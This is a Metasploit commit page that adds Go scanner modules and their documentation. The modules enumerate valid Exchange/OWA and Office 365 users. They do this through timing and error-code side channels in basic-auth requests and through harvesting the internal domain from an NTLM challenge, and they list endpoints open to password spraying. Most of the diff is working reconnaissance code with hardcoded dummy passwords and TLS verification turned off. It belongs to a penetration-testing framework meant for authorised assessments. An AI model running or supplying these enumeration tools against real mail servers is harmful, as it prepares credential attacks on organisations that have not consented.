Land #10964, add initial golang modules for enumerating owa/o365

4.x 4.17.29
Brent Cook 2018-12-04 10:33:37 -06:00 committed by Metasploit
parent 749d8e269c
commit 0b5368330c
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
14 changed files with 940 additions and 198 deletions

View File

@ -0,0 +1,21 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate email.
Error-based user enumeration for Office 365 integrated email addresses
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/exchange_enum`
- `set (`EMAIL` or `EMAIL_FILE`)`
- `run`
- `creds`
*Results should look something like below if valid users were found:*
```
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
<ip> <ip> 443/tcp (owa) chris@somecompany.com
```

View File

@ -0,0 +1,42 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
**Identify Command**
- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
- Queries for specific DNS records related to Office 365 integration
- Attempts to extract internal domain name for onprem instance of Exchange
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
- Lists password-sprayable services exposed for onprem Exchange host
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/host_id`
- `set RHOSTS <target>`
- `run`
*Results should look like below:*
```
msf5 > use auxiliary/scanner/msmail/host_id
msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS <host>
RHOSTS => <host>
msf5 auxiliary(scanner/msmail/host_id) > run
[*] Running for <ip>...
[*] Attempting to harvest internal domain:
[*] Internal Domain:
[*] <domain>
[*] [-] Domain is not using o365 resources.
[*] Identifying endpoints vulnerable to time-based enumeration:
[*] [+] https://<host>/Microsoft-Server-ActiveSync
[*] [+] https://<host>/autodiscover/autodiscover.xml
[*] [+] https://<host>/owa
[*] Identifying exposed Exchange endpoints for potential spraying:
[*] [+] https://<host>/oab
[*] [+] https://<host>/ews
```

View File

@ -0,0 +1,25 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
- Error-based user enumeration for on premise Exchange services
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/onprem_enum`
- `set RHOSTS <target>`
- `set (`USER` or `USER_FILE`)
- `run`
- `creds`
*Results should look something like below if valid users were found:*
```
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.1.1.1 10.1.1.1 443/tcp (owa)
10.1.1.1 10.1.1.1 443/tcp (owa) chris
```

View File

@ -119,8 +119,44 @@ module Msf::Module::External
})
invalidate_login(**cred)
when 'credential_login'
handle_credential_login(data, mod)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end
end
end
#
# Handles login report that does not necessarily need to include a password
#
def handle_credential_login(data, mod)
# Required
service_data = {
address: data['address'],
port: data['port'],
protocol: data['protocol'],
service_name: data['service_name'],
module_fullname: self.fullname,
workspace_id: myworkspace_id
}
# Optional
credential_data = {
origin_type: :service,
username: data['username']
}.merge(service_data)
if data.has_key?(:password)
credential_data[:private_data] = data['password']
credential_data[:private_type] = :password
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end

View File

@ -142,7 +142,7 @@ module Msf::Modules
elsif Process.kill('TERM', self.wait_thread.pid) && self.wait_thread.join(10)
self.exit_status = self.wait_thread.value
else
Procoess.kill('KILL', self.wait_thread.pid)
Process.kill('KILL', self.wait_thread.pid)
self.exit_status = self.wait_thread.value
end
end
@ -197,8 +197,19 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge
def initialize(module_path, framework: nil)
super
gopath = ENV['GOPATH'] || ''
self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath})
default_go_path = ENV['GOPATH'] || ''
shared_module_lib_path = File.dirname(module_path) + "/shared"
go_path = File.expand_path('../go', __FILE__)
if File.exist?(default_go_path)
go_path = go_path + File::PATH_SEPARATOR + default_go_path
end
if File.exist?(shared_module_lib_path)
go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path
end
self.env = self.env.merge({'GOPATH' => go_path})
self.cmd = ['go', 'run', self.path]
end
end

View File

@ -1,195 +0,0 @@
package metasploit
import (
"bufio"
"encoding/json"
"log"
"os"
"strings"
)
type response struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
}
func rpcSend(res interface{}) error {
resStr, err := json.Marshal(res)
if err != nil {
return err
}
f := bufio.NewWriter(os.Stdout)
if _, err := f.Write(resStr); err != nil {
return err
}
if err := f.Flush(); err != nil {
return err
}
return nil
}
type (
logparams struct {
Level string `json:"level"`
Message string `json:"message"`
}
logRequest struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params logparams `json:"params"`
}
)
func Log(message string, level string) {
req := &logRequest{"2.0", "message", logparams{level, message}}
if err := rpcSend(req); err != nil {
log.Fatal(err)
}
}
type (
reportparams struct {
Type string `json:"type"`
Data map[string]string `json:"data"`
}
reportRequest struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params reportparams `json:"params"`
}
)
func report(kind string, base map[string]string, opts map[string]string) error {
for k, v := range base {
opts[k] = v
}
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
return rpcSend(req)
}
func ReportHost(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("host", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportService(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("service", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportVuln(ip string, name string, opts map[string]string) {
base := map[string]string{"host": ip, "name": name}
if err := report("vuln", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCorrectPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("correct_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportWrongPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("wrong_password", base, opts); err != nil {
log.Fatal(err)
}
}
type (
Reference struct {
Type string `json:"type"`
Ref string `json:"ref"`
}
Target struct {
Platform string `json:"platform"`
Arch string `json:"arch"`
}
Option struct {
Type string `json:"type"`
Description string `json:"description"`
Required bool `json:"required"`
Default string `json:"default"`
}
Metadata struct {
Name string `json:"name"`
Description string `json:"description"`
Authors []string `json:"authors"`
Date string `json:"date"`
References []Reference `json:"references"`
Type string `json:"type"`
Rank string `json:"rank"`
WFSDelay int `json:"wfsdelay"`
Privileged bool `json:"privileged"`
Targets []Target `json:"targets,omitempty"`
Capabilities []string `json:"capabilities"`
Payload map[string]string `json:"payload,omitempty"`
Options map[string]Option `json:"options,omitempty"`
Notes map[string][]string `json:"notes,omitempty"`
}
Request struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
ID string `json:"id"`
}
MetadataResponse struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
Result *Metadata `json:"result"`
}
RunResult struct {
Message string `json:"message"`
Return string `json:"return"`
}
RunResponse struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
Result RunResult `json:"result"`
}
)
// RunCallback represents the exploit method to call from the module
type RunCallback func(req *Request) string
// Run runs the exploit
func Run(metadata *Metadata, callback RunCallback) {
var req Request
err := json.NewDecoder(os.Stdin).Decode(&req)
if err != nil {
log.Fatalf("could not decode JSON: %v", err)
}
switch strings.ToLower(req.Method) {
case "describe":
metadata.Capabilities = []string{"run"}
res := &MetadataResponse{"2.0", req.ID, metadata}
if err := rpcSend(res); err != nil {
log.Fatalf("error on running %s: %v", req.Method, err)
}
case "run":
ret := callback(&req)
res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ret}}
if err := rpcSend(res); err != nil {
log.Fatalf("error on running %s: %v", req.Method, err)
}
default:
log.Fatalf("method %s not implemented yet", req.Method)
}
}

View File

@ -0,0 +1,156 @@
/*
* Defines core functionality for a GOLANG module
*/
package module
import (
"bufio"
"encoding/json"
"log"
"os"
"strings"
"errors"
)
/*
* RunCallback represents the method to call from the module
*/
type RunCallback func(params map[string]interface{})
/*
* Initializes the module waiting for input from stdin
*/
func Init(metadata *Metadata, callback RunCallback) {
var req Request
err := json.NewDecoder(os.Stdin).Decode(&req)
if err != nil {
log.Fatalf("could not decode JSON: %v", err)
}
switch strings.ToLower(req.Method) {
case "describe":
metadata.Capabilities = []string{"run"}
res := &MetadataResponse{"2.0", req.ID, metadata}
if err := rpcSend(res); err != nil {
log.Fatalf("error on running %s: %v", req.Method, err)
}
case "run":
params, e := parseParams(req.Parameters)
if e != nil {
log.Fatal(e)
}
callback(params)
res := &RunResponse{"2.0", req.ID, RunResult{"Module complete", ""}}
if err := rpcSend(res); err != nil {
log.Fatalf("error on running %s: %v", req.Method, err)
}
default:
log.Fatalf("method %s not implemented yet", req.Method)
}
}
type (
Request struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
ID string `json:"id"`
Parameters interface{} `json:"params"`
}
MetadataResponse struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
Result *Metadata `json:"result"`
}
RunResult struct {
Message string `json:"message"`
Return string `json:"return"`
}
RunResponse struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
Result RunResult `json:"result"`
}
Parameters struct {
Type string `json:"type"`
Description string `json:"description"`
Required bool `json:"required"`
Default interface{} `json:"default"`
}
)
type response struct {
Jsonrpc string `json:"jsonrpc"`
ID string `json:"id"`
}
func parseParams(passedParams interface{}) (map[string]interface{}, error) {
v, ok := passedParams.(map[string]interface{})
if !ok {
return nil, errors.New("cannot parse values")
}
return v, nil
}
func rpcSend(res interface{}) error {
resStr, err := json.Marshal(res)
if err != nil {
return err
}
f := bufio.NewWriter(os.Stdout)
if _, err := f.Write(resStr); err != nil {
return err
}
if err := f.Flush(); err != nil {
return err
}
return nil
}
type (
logparams struct {
Level string `json:"level"`
Message string `json:"message"`
}
logRequest struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params logparams `json:"params"`
}
)
func LogInfo(message string) {
msfLog(message, "info")
}
func LogError(message string) {
msfLog(message, "error")
}
func msfLog(message string, level string) {
req := &logRequest{"2.0", "message", logparams{level, message}}
if err := rpcSend(req); err != nil {
log.Fatal(err)
}
}
type (
reportparams struct {
Type string `json:"type"`
Data map[string]string `json:"data"`
}
reportRequest struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params reportparams `json:"params"`
}
)

View File

@ -0,0 +1,41 @@
/*
* Module metadata definition
*/
package module
type (
Reference struct {
Type string `json:"type"`
Ref string `json:"ref"`
}
Target struct {
Platform string `json:"platform"`
Arch string `json:"arch"`
}
Option struct {
Type string `json:"type"`
Description string `json:"description"`
Required bool `json:"required"`
Default string `json:"default"`
}
Metadata struct {
Name string `json:"name"`
Description string `json:"description"`
Authors []string `json:"authors"`
Date string `json:"date"`
References []Reference `json:"references"`
Type string `json:"type"`
Rank string `json:"rank"`
WFSDelay int `json:"wfsdelay"`
Privileged bool `json:"privileged"`
Targets []Target `json:"targets,omitempty"`
Capabilities []string `json:"capabilities"`
Payload map[string]string `json:"payload,omitempty"`
Options map[string]Option `json:"options,omitempty"`
Notes map[string][]string `json:"notes,omitempty"`
}
)

View File

@ -0,0 +1,57 @@
/*
* Defines functions that report data to the core framework
*/
package module
import "log"
func ReportHost(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("host", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportService(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("service", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportVuln(ip string, name string, opts map[string]string) {
base := map[string]string{"host": ip, "name": name}
if err := report("vuln", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCorrectPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("correct_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportWrongPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("wrong_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCredentialLogin(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("credential_login", base, opts); err != nil {
log.Fatal(err)
}
}
func report(kind string, base map[string]string, opts map[string]string) error {
for k, v := range base {
opts[k] = v
}
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
return rpcSend(req)
}

View File

@ -45,6 +45,11 @@ class Msf::Modules::External::Shim
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license']
# Set modules without options to have an empty map
if mod.meta['options'].nil?
mod.meta['options'] = {}
end
options = mod.meta['options'].reject {|n, _| ignore_options.include? n}
meta[:options] = options.map do |n, o|

View File

@ -0,0 +1,117 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
package main
import (
"crypto/tls"
"fmt"
"metasploit/module"
"msmail"
"net/http"
"strconv"
"strings"
"sync"
)
func main() {
metadata := &module.Metadata{
Name: "Exchange email enumeration",
Description: "Error-based user enumeration for Office 365 integrated email addresses",
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-06",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{
"RHOSTS": {Type: "string", Description: "Target endpoint", Required: true, Default: "outlook.office365.com"},
"EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""},
"EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""},
}}
module.Init(metadata, run_exchange_enum)
}
func run_exchange_enum(params map[string]interface{}) {
email := params["EMAIL"].(string)
emailFile := params["EMAIL_FILE"].(string)
threads, e := strconv.Atoi(params["THREADS"].(string))
ip := params["rhost"].(string)
if e != nil {
module.LogError("Unable to parse 'Threads' value using default (5)")
threads = 5
}
if threads > 100 {
module.LogInfo("Threads value too large, setting max(100)")
threads = 100
}
if email == "" && emailFile == "" {
module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated")
return
}
var validUsers []string
if email != "" {
validUsers = o365enum(ip, []string{email}, threads)
}
if emailFile != "" {
validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads)
}
msmail.ReportValidUsers(ip, validUsers)
}
func o365enum(ip string, emaillist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
//limit := 100
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018876"
URI := "https://" + ip + "/Microsoft-Server-ActiveSync"
var validemails []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for email := range queue {
responseCode := msmail.WebRequestBasicAuth(URI, email, pass, tr)
if strings.Contains(email, "@") && responseCode == 401 {
mux.Lock()
module.LogInfo("[+] " + email + " - 401")
validemails = append(validemails, email)
mux.Unlock()
} else if strings.Contains(email, "@") && responseCode == 404 {
mux.Lock()
module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode))
mux.Unlock()
} else {
mux.Lock()
module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode))
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(emaillist); i++ {
queue <- emaillist[i]
}
close(queue)
wg.Wait()
return validemails
}

View File

@ -0,0 +1,92 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
package main
import (
"metasploit/module"
"msmail"
"net"
"strings"
)
func main() {
metadata := &module.Metadata{
Name: "Vulnerable domain identification",
Description: "Identifying potentially vulnerable Exchange endpoints",
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-06",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{},
}
module.Init(metadata, run_id)
}
func run_id(params map[string]interface{}) {
host := params["RHOSTS"].(string)
msmail.HarvestInternalDomain(host, true)
urlEnum(host)
}
func urlEnum(hostInput string) {
hostSlice := strings.Split(hostInput, ".")
o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com"
addr, err := net.LookupIP(o365Domain)
if err != nil {
module.LogInfo("[-] Domain is not using o365 resources.")
} else if addr == nil {
module.LogError("error")
} else {
module.LogInfo("[+] Domain is using o365 resources.")
}
asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync"
adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml"
ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml"
owaURI := "https://" + hostInput + "/owa"
timeEndpointsIdentified := false
module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:")
timeEndpoints := []string{asURI, adURI, ad2URI, owaURI}
for _, uri := range timeEndpoints {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
if responseCode == 200 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
}
if timeEndpointsIdentified == false {
module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.")
}
module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:")
passEndpointIdentified := false
rpcURI := "https://" + hostInput + "/rpc"
oabURI := "https://" + hostInput + "/oab"
ewsURI := "https://" + hostInput + "/ews"
mapiURI := "https://" + hostInput + "/mapi"
passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI}
for _, uri := range passEndpoints401 {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
ecpURI := "https://" + hostInput + "/ecp"
endpoints200 := []string{ecpURI, owaURI}
for _, uri := range endpoints200 {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 200 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
if passEndpointIdentified == false {
module.LogInfo("No onprem Exchange services identified.")
}
}

View File

@ -0,0 +1,183 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
package main
import (
"crypto/tls"
"metasploit/module"
"msmail"
"net/http"
"sort"
"strconv"
"sync"
"time"
)
func main() {
metadata := &module.Metadata{
Name: "On premise user enumeration",
Description: "On premise enumeration of valid exchange users",
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-06",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{
"USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
"USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
}}
module.Init(metadata, run_onprem_enum)
}
func run_onprem_enum(params map[string]interface{}) {
userFile := params["USER_FILE"].(string)
userName := params["USERNAME"].(string)
host := params["rhost"].(string)
threads, e := strconv.Atoi(params["THREADS"].(string))
if e != nil {
module.LogError("Unable to parse 'Threads' value using default (5)")
threads = 5
}
if threads > 100 {
module.LogInfo("Threads value too large, setting max(100)")
threads = 100
}
if userFile == "" && userName == "" {
module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
return
}
var validUsers []string
avgResponse := basicAuthAvgTime(host)
if userFile != "" {
validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
} else {
validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
}
msmail.ReportValidUsers(host, validUsers)
}
func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018978"
internaldomain := msmail.HarvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if msmail.WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if msmail.WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if msmail.WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return []string{}
}
var validusers []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for user := range queue {
startTime := time.Now()
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
elapsedTime := time.Since(startTime)
if float64(elapsedTime) < float64(avgResponse)*0.77 {
mux.Lock()
module.LogInfo("[+] " + user + " - " + elapsedTime.String())
validusers = append(validusers, user)
mux.Unlock()
} else {
mux.Lock()
module.LogInfo("[-] " + user + " - " + elapsedTime.String())
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(userlist); i++ {
queue <- userlist[i]
}
close(queue)
wg.Wait()
return validusers
}
func basicAuthAvgTime(host string) time.Duration {
internaldomain := msmail.HarvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if msmail.WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if msmail.WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if msmail.WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return -1
}
//We are determining sample auth response time for invalid users, the password used is irrelevant.
pass := "Summer201823904"
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
module.LogInfo("Collecting sample auth times...")
var sliceOfTimes []float64
var medianTime float64
usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
for i := 0; i < len(usernamelist)-1; i++ {
startTime := time.Now()
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
elapsedTime := time.Since(startTime)
if elapsedTime > time.Second*15 {
module.LogInfo("Response taking longer than 15 seconds, setting time:")
module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
return time.Duration(elapsedTime)
}
if i != 0 {
module.LogInfo(elapsedTime.String())
sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
}
}
sort.Float64s(sliceOfTimes)
if len(sliceOfTimes)%2 == 0 {
positionOne := len(sliceOfTimes)/2 - 1
positionTwo := len(sliceOfTimes) / 2
medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
} else if len(sliceOfTimes)%2 != 0 {
position := len(sliceOfTimes)/2 - 1
medianTime = sliceOfTimes[position]
} else {
module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
}
module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
return time.Duration(medianTime)
}

View File

@ -0,0 +1,151 @@
package msmail
import (
"crypto/tls"
"encoding/base64"
"fmt"
"io/ioutil"
"metasploit/module"
"net/http"
"strings"
"time"
)
func WebRequestCodeResponse(URI string) int {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
resp, err := client.Do(req)
if err != nil {
return 0
}
return resp.StatusCode
}
func HarvestInternalDomain(host string, outputDomain bool) string {
if outputDomain {
module.LogInfo("Attempting to harvest internal domain:")
}
url1 := "https://" + host + "/ews"
url2 := "https://" + host + "/autodiscover/autodiscover.xml"
url3 := "https://" + host + "/rpc"
url4 := "https://" + host + "/mapi"
url5 := "https://" + host + "/oab"
url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else if WebRequestCodeResponse(url4) == 401 {
urlToHarvest = url4
} else if WebRequestCodeResponse(url5) == 401 {
urlToHarvest = url5
} else if WebRequestCodeResponse(url6) == 401 {
urlToHarvest = url6
} else {
module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n")
}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", urlToHarvest, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36")
req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==")
resp, err := client.Do(req)
if err != nil {
return ""
}
ntlmResponse := resp.Header.Get("WWW-Authenticate")
data := strings.Split(ntlmResponse, " ")
base64DecodedResp, err := base64.StdEncoding.DecodeString(data[1])
if err != nil {
module.LogError("Unable to parse NTLM response for internal domain name")
}
var continueAppending bool
var internalDomainDecimal []byte
for _, decimalValue := range base64DecodedResp {
if decimalValue == 0 {
continue
}
if decimalValue == 2 {
continueAppending = false
}
if continueAppending == true {
internalDomainDecimal = append(internalDomainDecimal, decimalValue)
}
if decimalValue == 15 {
continueAppending = true
continue
}
}
if outputDomain {
module.LogInfo("Internal Domain: ")
module.LogInfo(string(internalDomainDecimal))
}
return string(internalDomainDecimal)
}
func ReportValidUsers(ip string, validUsers []string) {
port := "443"
service := "owa"
protocol := "tcp"
for _, user := range validUsers {
opts := map[string]string{
"port": port,
"service_name": service,
"address": ip,
"protocol": protocol,
}
module.LogInfo("Loging user: " + user)
module.ReportCredentialLogin(user, "", opts)
}
}
func WebRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int {
timeout := time.Duration(45 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
req.SetBasicAuth(user, pass)
resp, err := client.Do(req)
if err != nil {
module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user))
module.LogInfo("One of your requests has taken longer than 45 seconds to respond.")
module.LogInfo("Consider lowering amount of threads used for enumeration.")
module.LogError(err.Error())
}
return resp.StatusCode
}
func ImportUserList(tempname string) []string {
userFileBytes, err := ioutil.ReadFile(tempname)
if err != nil {
module.LogError(err.Error())
}
var userFileString = string(userFileBytes)
userArray := strings.Split(userFileString, "\n")
//Delete last unnecessary newline inserted into this slice
userArray = userArray[:len(userArray)-1]
return userArray
}